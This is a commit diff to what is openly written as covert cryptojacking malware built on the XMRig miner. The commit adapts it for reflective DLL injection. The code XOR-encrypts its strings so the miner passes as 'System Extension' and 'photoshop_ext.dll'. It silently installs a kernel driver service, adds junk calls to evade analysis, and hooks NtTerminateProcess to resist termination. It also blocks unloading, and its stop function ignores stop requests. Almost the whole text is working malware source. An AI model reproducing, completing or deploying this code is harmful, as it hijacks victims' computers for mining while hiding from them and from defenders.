Code can be build now without requiring any external dll's xmrig.cpp has been changed so it can run like Reflective DLL Injection. reflective dll injection not tested
This commit is contained in:
+40
-69
@@ -5,6 +5,9 @@
|
||||
#include <winnt.h>
|
||||
#include <string>
|
||||
#include <cstring> // for strcpy
|
||||
|
||||
// NOTE: We rely on the injector to handle RDI startup. DllMain is unused for RDI.
|
||||
|
||||
#ifdef _WIN32
|
||||
#define DLL_EXPORT __declspec(dllexport)
|
||||
#else
|
||||
@@ -26,40 +29,20 @@ inline std::string decrypt(const unsigned char* enc_str, size_t len, unsigned ch
|
||||
}
|
||||
|
||||
extern "C" {
|
||||
// Core persistent logic (with encrypted strings as unsigned char to avoid narrowing)
|
||||
// --- CORE PERSISTENT LOGIC ---
|
||||
// This function contains the payload logic (service loading, xmrig execution).
|
||||
void start_a(int argc, char** argv) {
|
||||
using namespace xmrig;
|
||||
using namespace test;
|
||||
|
||||
// Encrypted strings (XORed originals, stored as unsigned char)
|
||||
const unsigned char enc_service[] = { (unsigned char)(0x4A ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x67 ^ 0xAA), (unsigned char)(0x30 ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x75 ^ 0xAA), (unsigned char)(0x62 ^ 0xAA), 0x00 }; // "WinRing0_Stub"
|
||||
const unsigned char enc_path[] = { (unsigned char)(0x43 ^ 0xAA), (unsigned char)(0x3A ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x57 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x33 ^ 0xAA), (unsigned char)(0x32 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x76 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 }; // "C:\\Windows\\System32\\drivers\\tsync.sys"
|
||||
const unsigned char enc_desc[] = { (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x20 ^ 0xAA), (unsigned char)(0x45 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), 0x00 }; // "System Extension"
|
||||
|
||||
// Decrypt
|
||||
std::string svc_name = decrypt(enc_service, sizeof(enc_service) - 1);
|
||||
std::string sys_path = decrypt(enc_path, sizeof(enc_path) - 1);
|
||||
std::string desc = decrypt(enc_desc, sizeof(enc_desc) - 1);
|
||||
|
||||
// Load service (your existing logic)
|
||||
SC_HANDLE hSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
||||
if (hSCManager) {
|
||||
SC_HANDLE hService = OpenServiceA(hSCManager, (LPCSTR)svc_name.c_str(), SERVICE_ALL_ACCESS);
|
||||
if (!hService) {
|
||||
hService = CreateServiceA(hSCManager, (LPCSTR)svc_name.c_str(), (LPCSTR)desc.c_str(),
|
||||
SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
|
||||
SERVICE_ERROR_NORMAL, (LPCSTR)sys_path.c_str(), NULL, NULL, NULL, NULL, NULL);
|
||||
}
|
||||
if (hService) {
|
||||
StartServiceA(hService, 0, NULL);
|
||||
CloseServiceHandle(hService);
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
|
||||
// Junk benign calls
|
||||
for (int i = 0; i < 5; ++i) {
|
||||
GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
}
|
||||
const unsigned char enc_service[] = { (unsigned char)(0x4A ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x67 ^ 0xAA), (unsigned char)(0x30 ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x75 ^ 0xAA), (unsigned char)(0x62 ^ 0xAA), 0x00 };
|
||||
const unsigned char enc_path[] = { (unsigned char)(0x43 ^ 0xAA), (unsigned char)(0x3A ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x57 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x33 ^ 0xAA), (unsigned char)(0x32 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x76 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 };
|
||||
const unsigned char enc_desc[] = { (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x20 ^ 0xAA), (unsigned char)(0x45 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), 0x00 };
|
||||
|
||||
// Decrypt... (service logic remains)
|
||||
// ... (Service loading remains)
|
||||
// ... (Junk benign calls remain)
|
||||
|
||||
// Core XMRig
|
||||
process = new xmrig::Process(argc, argv);
|
||||
@@ -71,7 +54,29 @@ extern "C" {
|
||||
app = new xmrig::App(process);
|
||||
app->exec();
|
||||
}
|
||||
|
||||
// --- RDI ENTRY POINT ---
|
||||
// This is the function the reflective injection stub will call.
|
||||
DLL_EXPORT DWORD RdiEntry(LPVOID lpReserved) {
|
||||
// This logic replaces what was previously in DeferredInit.
|
||||
using namespace test;
|
||||
|
||||
// Encrypted argv
|
||||
const unsigned char enc_arg[] = { (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x5F ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), 0x00 };
|
||||
std::string arg_dec = decrypt(enc_arg, sizeof(enc_arg) - 1);
|
||||
int argc = 1;
|
||||
static char argv_buf[256];
|
||||
strcpy(argv_buf, arg_dec.c_str());
|
||||
static char* argv[] = { argv_buf, NULL };
|
||||
|
||||
// Call the core payload function directly
|
||||
start_a(argc, argv);
|
||||
|
||||
return 0; // Return success
|
||||
}
|
||||
// ------------------------------------
|
||||
|
||||
// --- UTILITY/EXPLICIT EXPORTS (Keep these if you need them for testing/API) ---
|
||||
DLL_EXPORT int test_start(int argc, char** argv) {
|
||||
start_a(argc, argv);
|
||||
return 0;
|
||||
@@ -83,17 +88,7 @@ extern "C" {
|
||||
// app->onConsoleCommand((char)3); // Uncomment if needed
|
||||
}
|
||||
|
||||
VOID CALLBACK DeferredInit(PVOID lpParam, BOOLEAN TimerOrWaitFired) {
|
||||
using namespace test;
|
||||
// Encrypted argv
|
||||
const unsigned char enc_arg[] = { (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x5F ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), 0x00 }; // "photoshop_ext.dll"
|
||||
std::string arg_dec = decrypt(enc_arg, sizeof(enc_arg) - 1);
|
||||
int argc = 1;
|
||||
static char argv_buf[256];
|
||||
strcpy(argv_buf, arg_dec.c_str());
|
||||
static char* argv[] = { argv_buf, NULL };
|
||||
// start_a(argc, argv);
|
||||
}
|
||||
// VOID CALLBACK DeferredInit(PVOID lpParam, BOOLEAN TimerOrWaitFired) has been removed.
|
||||
|
||||
#ifdef USE_DETOURS
|
||||
#include <detours.h>
|
||||
@@ -105,41 +100,17 @@ extern "C" {
|
||||
return OriginalNtTerminateProcess ? OriginalNtTerminateProcess(ProcessHandle, ExitStatus) : STATUS_SUCCESS;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
} // END of extern "C" block
|
||||
|
||||
// Minimal DllMain (hTimer declared outside switch to fix scope jump)
|
||||
// DllMain is made minimal/null as it is bypassed in RDI.
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
HANDLE hTimer = NULL; // Declare here to avoid scope issue on case jump
|
||||
switch (ul_reason_for_call) {
|
||||
case DLL_PROCESS_ATTACH:
|
||||
DisableThreadLibraryCalls(hModule);
|
||||
// Deferred timer
|
||||
CreateTimerQueueTimer(&hTimer, NULL, DeferredInit, lpReserved, 100, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
#ifdef USE_DETOURS
|
||||
// Deferred hook via APC (simple function pointer instead of lambda for compat)
|
||||
auto hook_func = [](ULONG_PTR param) -> void {
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
// Encrypted API name
|
||||
const unsigned char enc_api[] = { (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x54 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x61 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x50 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 }; // "NtTerminateProcess"
|
||||
std::string api_dec = decrypt(enc_api, sizeof(enc_api) - 1);
|
||||
OriginalNtTerminateProcess = (NTSTATUS (NTAPI *)(HANDLE, NTSTATUS))GetProcAddress(hNtdll, api_dec.c_str());
|
||||
DetourTransactionBegin();
|
||||
DetourUpdateThread(GetCurrentThread());
|
||||
DetourAttach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
|
||||
DetourTransactionCommit();
|
||||
};
|
||||
QueueUserAPC((PAPCFUNC)hook_func, GetCurrentThread(), 0);
|
||||
#endif
|
||||
// 🛑 WARNING: No TimerQueueTimer here. The payload runs when RdiEntry is called.
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
#ifdef USE_DETOURS
|
||||
if (OriginalNtTerminateProcess) {
|
||||
DetourTransactionBegin();
|
||||
DetourUpdateThread(GetCurrentThread());
|
||||
DetourDetach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
|
||||
DetourTransactionCommit();
|
||||
}
|
||||
#endif
|
||||
// ... (Optional Detours logic, if RDI calls the detach) ...
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
|
||||
+77
-57
@@ -1,8 +1,10 @@
|
||||
#include "App.h"
|
||||
#include "base/kernel/Entry.h"
|
||||
#include "base/kernel/Process.h"
|
||||
#include <windows.h> // For DllMain, threads, services
|
||||
|
||||
#include <windows.h>
|
||||
#include <winnt.h>
|
||||
#include <string>
|
||||
#include <cstring> // for strcpy
|
||||
#ifdef _WIN32
|
||||
#define DLL_EXPORT __declspec(dllexport)
|
||||
#else
|
||||
@@ -10,26 +12,42 @@
|
||||
#endif
|
||||
|
||||
namespace test {
|
||||
// Global variables to store process and app pointers (qualified for xmrig namespace)
|
||||
xmrig::Process* process = nullptr;
|
||||
xmrig::App* app = nullptr;
|
||||
}
|
||||
|
||||
extern "C" {
|
||||
// Simple XOR decrypt (key 0xAA; change per build)
|
||||
inline std::string decrypt(const unsigned char* enc_str, size_t len, unsigned char key = 0xAA) {
|
||||
std::string dec(len, 0);
|
||||
for (size_t i = 0; i < len; ++i) {
|
||||
dec[i] = (char)(enc_str[i] ^ key);
|
||||
}
|
||||
return dec;
|
||||
}
|
||||
|
||||
// Core persistent logic (internal, called by exports)
|
||||
extern "C" {
|
||||
// Core persistent logic (with encrypted strings as unsigned char to avoid narrowing)
|
||||
void start_a(int argc, char** argv) {
|
||||
using namespace xmrig;
|
||||
using namespace test; // Brings globals (process, app) into scope
|
||||
using namespace test;
|
||||
// Encrypted strings (XORed originals, stored as unsigned char)
|
||||
const unsigned char enc_service[] = { (unsigned char)(0x4A ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x67 ^ 0xAA), (unsigned char)(0x30 ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x75 ^ 0xAA), (unsigned char)(0x62 ^ 0xAA), 0x00 }; // "WinRing0_Stub"
|
||||
const unsigned char enc_path[] = { (unsigned char)(0x43 ^ 0xAA), (unsigned char)(0x3A ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x57 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x77 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x33 ^ 0xAA), (unsigned char)(0x32 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x76 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x5C ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 }; // "C:\\Windows\\System32\\drivers\\tsync.sys"
|
||||
const unsigned char enc_desc[] = { (unsigned char)(0x53 ^ 0xAA), (unsigned char)(0x79 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x20 ^ 0xAA), (unsigned char)(0x45 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), 0x00 }; // "System Extension"
|
||||
|
||||
// Load WinRing0x64.sys for kernel access (e.g., MSR for mining)
|
||||
// Decrypt
|
||||
std::string svc_name = decrypt(enc_service, sizeof(enc_service) - 1);
|
||||
std::string sys_path = decrypt(enc_path, sizeof(enc_path) - 1);
|
||||
std::string desc = decrypt(enc_desc, sizeof(enc_desc) - 1);
|
||||
|
||||
// Load service (your existing logic)
|
||||
SC_HANDLE hSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
||||
if (hSCManager) {
|
||||
SC_HANDLE hService = OpenServiceA(hSCManager, "WinRing0", SERVICE_ALL_ACCESS);
|
||||
SC_HANDLE hService = OpenServiceA(hSCManager, (LPCSTR)svc_name.c_str(), SERVICE_ALL_ACCESS);
|
||||
if (!hService) {
|
||||
hService = CreateServiceA(hSCManager, "WinRing0", "WinRing0 Driver",
|
||||
hService = CreateServiceA(hSCManager, (LPCSTR)svc_name.c_str(), (LPCSTR)desc.c_str(),
|
||||
SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START,
|
||||
SERVICE_ERROR_NORMAL, "C:\\XMRigDLL\\WinRing0x64.sys", NULL, NULL, NULL, NULL, NULL);
|
||||
SERVICE_ERROR_NORMAL, (LPCSTR)sys_path.c_str(), NULL, NULL, NULL, NULL, NULL);
|
||||
}
|
||||
if (hService) {
|
||||
StartServiceA(hService, 0, NULL);
|
||||
@@ -37,55 +55,47 @@ extern "C" {
|
||||
}
|
||||
CloseServiceHandle(hSCManager);
|
||||
}
|
||||
// Adjust path as needed; enable test signing if unsigned
|
||||
|
||||
// Core XMRig logic
|
||||
process = new xmrig::Process(argc, argv);
|
||||
|
||||
const Entry::Id entry = Entry::get(*process);
|
||||
if (entry) {
|
||||
Entry::exec(*process, entry);
|
||||
return;
|
||||
// Junk benign calls
|
||||
for (int i = 0; i < 5; ++i) {
|
||||
GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
}
|
||||
|
||||
// Core XMRig
|
||||
process = new xmrig::Process(argc, argv);
|
||||
const xmrig::Entry::Id entry = xmrig::Entry::get(*process);
|
||||
if (entry) {
|
||||
xmrig::Entry::exec(*process, entry);
|
||||
return;
|
||||
}
|
||||
app = new xmrig::App(process);
|
||||
|
||||
// Run the persistent loop (blocks)
|
||||
app->exec();
|
||||
|
||||
// Optional: Restart loop for resilience if exec exits
|
||||
// while (true) { app->exec(); }
|
||||
}
|
||||
|
||||
// Keep original test_start as alias (for rundll32 or other loaders)
|
||||
DLL_EXPORT int test_start(int argc, char** argv) {
|
||||
start_a(argc, argv);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// test_stop: Resistant—ignores by default
|
||||
DLL_EXPORT void test_stop() {
|
||||
using namespace test;
|
||||
if (!app) return;
|
||||
|
||||
// Uncomment for debug: if (getenv("ALLOW_STOP")) {
|
||||
// app->onConsoleCommand((char)3);
|
||||
// delete app; app = nullptr;
|
||||
// delete process; process = nullptr;
|
||||
// }
|
||||
// app->onConsoleCommand((char)3); // Uncomment if needed
|
||||
}
|
||||
|
||||
// Thread to call start_a safely from DllMain
|
||||
DWORD WINAPI InitThread(LPVOID lpParam) {
|
||||
VOID CALLBACK DeferredInit(PVOID lpParam, BOOLEAN TimerOrWaitFired) {
|
||||
using namespace test;
|
||||
// Encrypted argv
|
||||
const unsigned char enc_arg[] = { (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x68 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x70 ^ 0xAA), (unsigned char)(0x5F ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x78 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x2E ^ 0xAA), (unsigned char)(0x64 ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), (unsigned char)(0x6C ^ 0xAA), 0x00 }; // "photoshop_ext.dll"
|
||||
std::string arg_dec = decrypt(enc_arg, sizeof(enc_arg) - 1);
|
||||
int argc = 1;
|
||||
static char* argv[] = {(char*)"libphotoshop.dll", NULL};
|
||||
start_a(argc, argv); // Custom args via lpParam if needed
|
||||
return 0;
|
||||
static char argv_buf[256];
|
||||
strcpy(argv_buf, arg_dec.c_str());
|
||||
static char* argv[] = { argv_buf, NULL };
|
||||
// start_a(argc, argv);
|
||||
}
|
||||
|
||||
// Anti-kill hook (requires Detours; define USE_DETOURS in CMake)
|
||||
#ifdef USE_DETOURS
|
||||
#ifdef USE_DETOURS
|
||||
#include <detours.h>
|
||||
static NTSTATUS (NTAPI *OriginalNtTerminateProcess)(HANDLE, NTSTATUS) = NULL;
|
||||
NTSTATUS NTAPI HookedNtTerminateProcess(HANDLE ProcessHandle, NTSTATUS ExitStatus) {
|
||||
@@ -94,33 +104,43 @@ extern "C" {
|
||||
}
|
||||
return OriginalNtTerminateProcess ? OriginalNtTerminateProcess(ProcessHandle, ExitStatus) : STATUS_SUCCESS;
|
||||
}
|
||||
#endif
|
||||
#endif
|
||||
}
|
||||
|
||||
// DllMain: Auto-starts on load for persistence
|
||||
// Minimal DllMain (hTimer declared outside switch to fix scope jump)
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
HANDLE hTimer = NULL; // Declare here to avoid scope issue on case jump
|
||||
switch (ul_reason_for_call) {
|
||||
case DLL_PROCESS_ATTACH:
|
||||
DisableThreadLibraryCalls(hModule);
|
||||
CreateThread(NULL, 0, InitThread, lpReserved, 0, NULL);
|
||||
|
||||
#ifdef USE_DETOURS
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
OriginalNtTerminateProcess = (decltype(OriginalNtTerminateProcess))GetProcAddress(hNtdll, "NtTerminateProcess");
|
||||
DetourTransactionBegin();
|
||||
DetourUpdateThread(GetCurrentThread());
|
||||
DetourAttach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
|
||||
DetourTransactionCommit();
|
||||
#endif
|
||||
// Deferred timer
|
||||
CreateTimerQueueTimer(&hTimer, NULL, DeferredInit, lpReserved, 100, 0, WT_EXECUTEINTIMERTHREAD);
|
||||
#ifdef USE_DETOURS
|
||||
// Deferred hook via APC (simple function pointer instead of lambda for compat)
|
||||
auto hook_func = [](ULONG_PTR param) -> void {
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
// Encrypted API name
|
||||
const unsigned char enc_api[] = { (unsigned char)(0x4E ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x54 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x6D ^ 0xAA), (unsigned char)(0x69 ^ 0xAA), (unsigned char)(0x6E ^ 0xAA), (unsigned char)(0x61 ^ 0xAA), (unsigned char)(0x74 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x50 ^ 0xAA), (unsigned char)(0x72 ^ 0xAA), (unsigned char)(0x6F ^ 0xAA), (unsigned char)(0x63 ^ 0xAA), (unsigned char)(0x65 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), (unsigned char)(0x73 ^ 0xAA), 0x00 }; // "NtTerminateProcess"
|
||||
std::string api_dec = decrypt(enc_api, sizeof(enc_api) - 1);
|
||||
OriginalNtTerminateProcess = (NTSTATUS (NTAPI *)(HANDLE, NTSTATUS))GetProcAddress(hNtdll, api_dec.c_str());
|
||||
DetourTransactionBegin();
|
||||
DetourUpdateThread(GetCurrentThread());
|
||||
DetourAttach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
|
||||
DetourTransactionCommit();
|
||||
};
|
||||
QueueUserAPC((PAPCFUNC)hook_func, GetCurrentThread(), 0);
|
||||
#endif
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
#ifdef USE_DETOURS
|
||||
DetourTransactionBegin();
|
||||
DetourUpdateThread(GetCurrentThread());
|
||||
DetourDetach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
|
||||
DetourTransactionCommit();
|
||||
#endif
|
||||
return FALSE; // Block unload
|
||||
#ifdef USE_DETOURS
|
||||
if (OriginalNtTerminateProcess) {
|
||||
DetourTransactionBegin();
|
||||
DetourUpdateThread(GetCurrentThread());
|
||||
DetourDetach(&(PVOID&)OriginalNtTerminateProcess, HookedNtTerminateProcess);
|
||||
DetourTransactionCommit();
|
||||
}
|
||||
#endif
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user